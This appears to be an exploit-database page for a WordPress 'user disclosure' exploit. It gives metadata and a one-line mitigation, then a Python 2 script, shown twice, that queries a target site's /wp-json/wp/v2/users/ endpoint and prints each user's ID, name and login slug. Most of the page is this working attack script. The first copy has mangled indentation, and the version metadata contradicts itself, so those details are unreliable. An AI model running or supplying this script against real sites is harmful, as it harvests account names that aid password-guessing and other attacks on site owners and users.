Wordpress < 5.3 - User Disclosure

vendor:

Wordpress

by:

SajjadBnd

7.5

CVSS

HIGH

User Enumeration

200

CWE

Product Name: Wordpress

Affected Version From: Wordpress 5.3

Affected Version To: Wordpress 5.3

Patch Exists: YES

Related CWE: N/A

CPE: a:wordpress:wordpress

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Ubuntu 18.04, Python 2.7

2019

WordPress < 5.3 - User Disclosure

This exploit allows an attacker to enumerate users of a Wordpress website running version 5.3 or lower. The exploit uses the /wp-json/wp/v2/users/ endpoint to retrieve a list of users from the website.

Mitigation:

Upgrade to the latest version of Wordpress

Source

Exploit-DB raw data:

# Exploit Title : Wordpress 5.3 - User Disclosure
# Author: SajjadBnd
# Date: 2019-11-17
# Software Link: https://wordpress.org/download/
# version : wp < 5.3
# tested on : Ubunutu 18.04 / python 2.7
# CVE: N/A


#!/usr/bin/python
# -*- coding: utf-8 -*-
#

 
import requests
import os
import re
import json
import sys
import urllib3
 
def clear():
    linux = 'clear'
    windows = 'cls'
    os.system([linux, windows][os.name == 'nt'])
def Banner():
        print('''
- Wordpress < 5.3 - User Enumeration
- SajjadBnd
''')
def Desc():
    url = raw_input('[!] Url >> ')
    vuln = url + "/wp-json/wp/v2/users/"
    while True:
        try:
            r = requests.get(vuln,verify=False)
            content = json.loads(r.text)
            data(content)
        except requests.exceptions.MissingSchema:
        vuln = "http://" + vuln
def data(content):
    for x in content:
    name = x["name"].encode('UTF-8')
    print("======================")
    print("[+] ID : " + str(x["id"]))
    print("[+] Name : " + name)
    print("[+] User : " + x["slug"])
    sys.exit(1)
if __name__ == '__main__':
    urllib3.disable_warnings()
    reload(sys)
    sys.setdefaultencoding('UTF8')
    clear()
    Banner()
    Desc()

wpuser.txt

#!/usr/bin/python
# -*- coding: utf-8 -*-
#
# Exploit Title : Wordpress < 5.3 - User Disclosure
# Exploit Author: SajjadBnd
# email : blackwolf@post.com
# Software Link: https://wordpress.org/download/
# version : wp < 5.3
# tested on : Ubunutu 18.04 / python 2.7

import requests
import os
import re
import json
import sys
import urllib3

def clear():
    linux = 'clear'
    windows = 'cls'
    os.system([linux, windows][os.name == 'nt'])

def Banner():
        print('''
- Wordpress < 5.3 - User Enumeration
- SajjadBnd
''')

def Desc():
    url = raw_input('[!] Url >> ')
    vuln = url + "/wp-json/wp/v2/users/"
    while True:
        try:
            r = requests.get(vuln,verify=False)
            content = json.loads(r.text)
            data(content)
    	except requests.exceptions.MissingSchema:
	    vuln = "http://" + vuln

def data(content):
    for x in content:
	name = x["name"].encode('UTF-8')
	print("======================")
	print("[+] ID : " + str(x["id"]))
	print("[+] Name : " + name)
	print("[+] User : " + x["slug"])
    sys.exit(1)
if __name__ == '__main__':
    urllib3.disable_warnings()
    reload(sys)
    sys.setdefaultencoding('UTF8')
    clear()
    Banner()
    Desc()